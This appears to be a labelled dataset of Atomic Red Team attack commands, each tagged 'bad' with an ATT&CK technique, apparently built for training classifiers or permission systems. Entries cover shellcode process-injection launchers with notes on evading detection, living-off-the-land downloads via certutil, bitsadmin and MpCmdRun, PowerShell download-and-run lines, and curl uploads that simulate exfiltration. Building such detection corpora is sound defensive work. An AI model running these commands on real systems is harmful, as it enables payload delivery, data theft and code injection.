cowWhySo/permission-command-corpus huggingface dataset:
Command: Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Dirty Vanity process Injection
Notes: This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at 
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
Command: Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Dirty Vanity process Injection
Notes: This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at 
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
Command: $address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value & "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Read-Write-Execute process Injection
Notes: This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.
The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms 
that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.
The injected shellcode will open a message box
Command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Read-Write-Execute process Injection
Notes: This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.
The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms 
that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.
The injected shellcode will open a message box
Command: $PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Process Injection with Go using UuidFromStringA WinAPI
Notes: Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread 
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References: 
  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
  - https://twitter.com/_CPRe
Command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Process Injection with Go using UuidFromStringA WinAPI
Notes: Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread 
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References: 
  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
  - https://twitter.com/_CPRe
Command: $PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Process Injection with Go using EtwpCreateEtwThread WinAPI
Notes: Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with
Command: $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Remote Process Injection with Go using RtlCreateUserThread WinAPI
Notes: Executes shellcode in a remote process.

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle
Command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Remote Process Injection with Go using RtlCreateUserThread WinAPI
Notes: Executes shellcode in a remote process.

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle
Command: $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Remote Process Injection with Go using CreateRemoteThread WinAPI
Notes: Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.

This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the r
Command: $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
Notes: Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.

This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory pa
Command: $PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Process Injection with Go using CreateThread WinAPI
Notes: This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program leverages the funct
Command: $PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Process Injection with Go using CreateThread WinAPI (Natively)
Notes: This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program loads the DLLs and
Command: Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: UUID custom process Injection
Notes: The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, Wri
Command: rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: rsync remote file copy (push)
Notes: Utilize rsync to perform a remote file copy (push)
Command: rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: rsync remote file copy (pull)
Notes: Utilize rsync to perform a remote file copy (pull)
Command: scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: scp remote file copy (push)
Notes: Utilize scp to perform a remote file copy (push)
Command: scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: scp remote file copy (pull)
Notes: Utilize scp to perform a remote file copy (pull)
Command: sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: sftp remote file copy (push)
Notes: Utilize sftp to perform a remote file copy (push)
Command: sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: sftp remote file copy (pull)
Notes: Utilize sftp to perform a remote file copy (pull)
Command: cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: certutil download (urlcache)
Notes: Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
Command: del #{local_path} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: certutil download (urlcache)
Notes: Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
Command: $datePath = "certutil-$(Get-Date -format yyyy_MM_dd)" New-Item -Path $datePath -ItemType Directory Set-Location $datePath certutil -verifyctl -split -f #{remote_file} Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: certutil download (verifyctl)
Notes: Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
Command: Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: certutil download (verifyctl)
Notes: Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
Command: C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows - BITSAdmin BITS Download
Notes: This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
This technique is used by Qbot malware to download payloads.
Command: (New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows - PowerShell Download
Notes: This test uses PowerShell to download a payload.
This technique is used by multiple adversaries and malware families.
Command: Remove-Item #{destination_path} -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows - PowerShell Download
Notes: This test uses PowerShell to download a payload.
This technique is used by multiple adversaries and malware families.
Command: pushd #{destination_path} echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js CScript.exe AtomicTestT1105.js //E:JScript del AtomicTestT1105.js /Q >nul 2>&1 del AtomicTestFileT1105.js /Q >nul 2>&1 popd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: OSTAP Worming Activity
Notes: OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
Command: copy C:\Windows\System32\cmd.exe C:\svchost.exe C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: svchost writing a file to a UNC path
Notes: svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
Command: del C:\T1105.txt >nul 2>&1 del C:\\svchost.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: svchost writing a file to a UNC path
Notes: svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
Command: cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*" MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a File with Windows Defender MpCmdRun.exe
Notes: Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Command: del #{local_path} >nul 2>&1 del %temp%\MpCmdRun.log >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a File with Windows Defender MpCmdRun.exe
Notes: Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Command: timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: whois file download
Notes: Download a remote file using the whois utility
Command: rm -f #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux,macos
ATT&CK tags: T1105
Source rule: whois file download
Notes: Download a remote file using the whois utility
Command: (New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: File Download via PowerShell
Notes: Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.
Command: finger base64_filedata@#{remote_host}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: File download with finger.exe on Windows
Notes: Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
Because this is being tested on the localhost, you should not be expecting a successful connection
https://www.exploit-db.com/exploits/48815
https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
Command: $imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe" & $imewdbled #{remote_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file with IMEWDBLD.exe
Notes: Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyConti
Command: $inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\" $file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue) if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction Ignore }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file with IMEWDBLD.exe
Notes: Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyConti
Command: #{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Curl Download File
Notes: The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.
Command: del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\programdata\allthethingsx64.dll >nul 2>&1 del %Temp%\allthethingsx64.dll >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Curl Download File
Notes: The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.
Command: #{curl_path} -T #{file_path} #{remote_destination} #{curl_path} --upload-file #{file_path} #{remote_destination} #{curl_path} -d #{file_path} #{remote_destination} #{curl_path} --data #{file_path} #{remote_destination}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Curl Upload File
Notes: The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
Expected output will include whether the file uploaded successfully or not.
Command: "#{Path_to_file}" 1>NUL
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file with Microsoft Connection Manager Auto-Download
Notes: Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad execut